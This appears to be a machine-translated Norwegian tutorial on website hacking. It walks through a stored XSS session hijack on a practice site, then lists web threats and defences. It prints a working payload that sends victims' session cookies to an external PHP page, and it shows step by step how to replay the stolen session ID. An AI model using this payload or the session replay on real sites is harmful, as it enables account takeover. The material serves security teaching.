Hvordan hacke en nettside? Vanlige nettstedshackingsteknikker

Teknikker for hacking av nettsteder

Flere mennesker har tilgang til internett enn noen gang før. Dette har fått mange organisasjoner til å utvikle nettbaserte applikasjoner som brukere kan bruke på nettet for å samhandle med organisasjonen. Dårlig skrevet kode for nettapplikasjoner kan utnyttes til å få uautorisert tilgang til sensitive data og webservere.

I denne opplæringen lærer du hvordan du hacker nettsider, og vi vil introdusere deg til hackingteknikker for nettapplikasjoner og mottiltak du kan sette på plass for å beskytte mot slike angrep.

Hvordan hacke et nettsted

I dette praktiske scenariet for hacking av nettsteder skal vi kapre brukerøkten til nettapplikasjonen som ligger på www.techpanda.org. Vi vil bruke skripting på tvers av nettsteder for å lese sesjons-ID-en for informasjonskapsler og deretter bruke den til å etterligne en legitim brukerøkt.

Forutsetningen er at angriperen har tilgang til webapplikasjonen og han ønsker å kapre øktene til andre brukere som bruker samme applikasjon. Målet med dette angrepet kan være å få administratortilgang til nettapplikasjonen forutsatt at angriperens tilgangskonto er begrenset.

Trinn 1) Open URL http://www.techpanda.org/.

For praksisformål anbefales det sterkt å få tilgang ved hjelp av SQL Injection. Viser til dette Artikkel for mer informasjon om hvordan du gjør det.

Trinn 2) Skriv inn påloggingsdetaljer.

E-postadressen for pålogging er admin@google.com, passordet er Password2010.

Trinn 3) Sjekk dashbordet.

Hvis du har logget på vellykket, får du opp følgende dashbord

Trinn 4) Skriv inn nytt innhold.

Klikk på Legg til ny kontakt og skriv inn følgende som fornavn

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

Trinn 5) Legg til Javascript.

Koden ovenfor bruker JavaScript. Den legger til en hyperkobling med en onclick-hendelse. Når den intetanende brukeren klikker på lenken, henter hendelsen PHP informasjonskapseløkt-ID og sender den til snatch_sess_id.php siden sammen med økt-ID-en i URL

Trinn 6) Legg til detaljer.

Skriv inn de resterende detaljene som vist nedenfor og klikk på Lagre endringer

Trinn 7) Sjekk dashbordet.

Dashbordet ditt vil nå se ut som følgende skjermbilde

Trinn 8) Sjekk økt-ID.

Siden cross site script-koden er lagret i databasen, vil den bli lastet hver gang brukere med tilgangsrettigheter logger inn

La oss anta at administratoren logger på og klikker på hyperkoblingen som sier Dark

Han/hun vil få opp vinduet med økt-ID-en som vises i URL

Merknader: Skriptet kan sende verdien til en ekstern server hvor PHPSESSID er lagret, deretter ble brukeren omdirigert tilbake til nettstedet som om ingenting hadde skjedd.

Merknader: verdien du får kan være forskjellig fra den på denne nettsiden hacking opplæring, men konseptet er det samme

Sesjonsetterligning ved hjelp av Firefox og Tamper Data-tillegg

Flytskjemaet nedenfor viser trinnene du må ta for å fullføre denne øvelsen.

• Du vil trenge Firefox nettleser for denne delen og Tamper Data-tillegget
• Open Firefox og installer tillegget som vist i diagrammene nedenfor

• Søk etter sabotasjedata og klikk deretter på installer som vist ovenfor

• Klikk på Godta og installer...

• Klikk på Start på nytt nå når installasjonen er fullført
• Aktiver menylinjen i Firefox hvis den ikke vises

• Klikk på verktøymenyen og velg Tamper Data som vist nedenfor

• Du får opp følgende vindu. Merk: Hvis Windows er ikke tom, trykk på slett-knappen

• Klikk på Start sabotasje-menyen
• Bytt tilbake til Firefox nettleser, skriv http://www.techpanda.org/dashboard.php trykk deretter enter-tasten for å laste siden
• Du vil få følgende popup fra Tamper Data

• Popup-vinduet har tre (3) alternativer. Tamper-alternativet lar deg endre HTTP-hodeinformasjonen før den sendes til serveren.
• Klikk på den
• Du får opp følgende vindu

• Kopier PHP-sesjons-ID du kopierte fra angrepet URL og lim den inn etter likhetstegnet. Verdien din skal nå se slik ut

PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

• Klikk på OK-knappen
• Du får opp popup-vinduet Tamper data igjen

• Fjern merket i avmerkingsboksen som spør Fortsette manipulering?
• Klikk på send-knappen når du er ferdig
• Du skal kunne se dashbordet som vist nedenfor

Merknader: vi logget ikke på, vi etterlignet en påloggingsøkt ved å bruke PHPSESSID-verdien vi hentet ved bruk av cross site scripting

Hva er en webapplikasjon? Hva er nettrusler?

En nettapplikasjon (alias nettside) er en applikasjon basert på klient-server-modellen. De server gir databasetilgangen og forretningslogikken. Den ligger på en webserver. Klientapplikasjonen kjører på klientnettleseren. Nettapplikasjoner er vanligvis skrevet på språk som f.eks Java, C# og VB.Net, PHP, ColdFusion Markup Language osv. databasemotorene som brukes i webapplikasjoner inkluderer MySQL, MS SQL Server, PostgreSQL, SQLiteOsv

Topp hackingteknikker for nettsteder

De fleste nettapplikasjoner ligger på offentlige servere som er tilgjengelige via Internett. Dette gjør dem sårbare for angrep på grunn av lett tilgjengelighet. Følgende er vanlige nettapplikasjonstrusler.

• SQL Injection – Målet med denne trusselen kan være å omgå påloggingsalgoritmer, sabotere dataene osv.
• Nektelse av tjenesteangrep– Målet med denne trusselen kan være å nekte legitime brukere tilgang til ressursen
• Cross Site Scripting XSS– Målet med denne trusselen kan være å injisere kode som kan kjøres på nettleseren på klientsiden.
• Cookie/Session-forgiftning– Målet med denne trusselen er å endre informasjonskapsler/sesjonsdata av en angriper for å få uautorisert tilgang.
• Skjematukling – Målet med denne trusselen er å endre skjemadata som priser i e-handelsapplikasjoner slik at angriperen kan få varer til reduserte priser.
• Code Injeksjon – Målet med denne trusselen er å injisere kode som PHP, Python, etc. som kan kjøres på serveren. Koden kan installere bakdører, avsløre sensitiv informasjon osv.
• defacement– Målet med denne trusselen er å endre siden som ble vist på et nettsted og omdirigere alle sideforespørsler til én enkelt side som inneholder angriperens melding.

Hvordan beskytte nettstedet ditt mot hacks?

En organisasjon kan ta i bruk følgende policy for å beskytte seg mot nettserverangrep.

• SQL Injection – sanering og validering av brukerparametere før de sendes til databasen for behandling kan bidra til å redusere sjansene for å bli angrepet via SQL Injection. Databasemotorer som MS SQL Server, MySQL, etc. støtteparametere, og utarbeidede uttalelser. De er mye tryggere enn tradisjonelle SQL-setninger
• Denial of Service-angrep – brannmurer kan brukes til å slippe trafikk fra mistenkelig IP-adresse hvis angrepet er en enkel DoS. Riktig konfigurasjon av nettverk og inntrengningsdeteksjonssystem kan også bidra til å redusere sjansene for en DoS angrep vært vellykket.
• Cross Site Scripting – validering og sanering av overskrifter, parametere som sendes via URL, skjemaparametere og skjulte verdier kan bidra til å redusere XSS-angrep.
• Cookie/Session-forgiftning – dette kan forhindres ved å kryptere innholdet i informasjonskapslene, tidsavbryte informasjonskapslene etter en stund, assosiere informasjonskapslene med klientens IP-adresse som ble brukt til å lage dem.
• Formtempering – dette kan forhindres ved å validere og verifisere brukerinngangen før den behandles.
• Code Injeksjon – dette kan forhindres ved å behandle alle parametere som data i stedet for kjørbar kode. Sanitisering og validering kan brukes til å implementere dette.
• Defacement – en god sikkerhetspolicy for webapplikasjonsutvikling bør sikre at den forsegler ofte brukte sårbarheter for å få tilgang til webserverenDette kan være en riktig konfigurasjon av operativsystemet, webserverprogramvaren og beste sikkerhetspraksis ved utviklingping webapplikasjoner.

Se på dette: 9 Best URL Skannere for å sjekke om lenken er trygg mot skadelig programvare

Sammendrag

• En nettapplikasjon er basert på server-klient-modellen. Klientsiden bruker nettleseren for å få tilgang til ressursene på serveren.
• Nettapplikasjoner er vanligvis tilgjengelige over internett. Dette gjør dem sårbare for angrep.
• Trusler mot nettapplikasjoner inkluderer SQL-injeksjon, Code Injeksjon, XSS, Defacement, Cookie Poisoning, etc.
• En god sikkerhetspolicy ved utviklingping Nettapplikasjoner kan bidra til å gjøre dem sikre.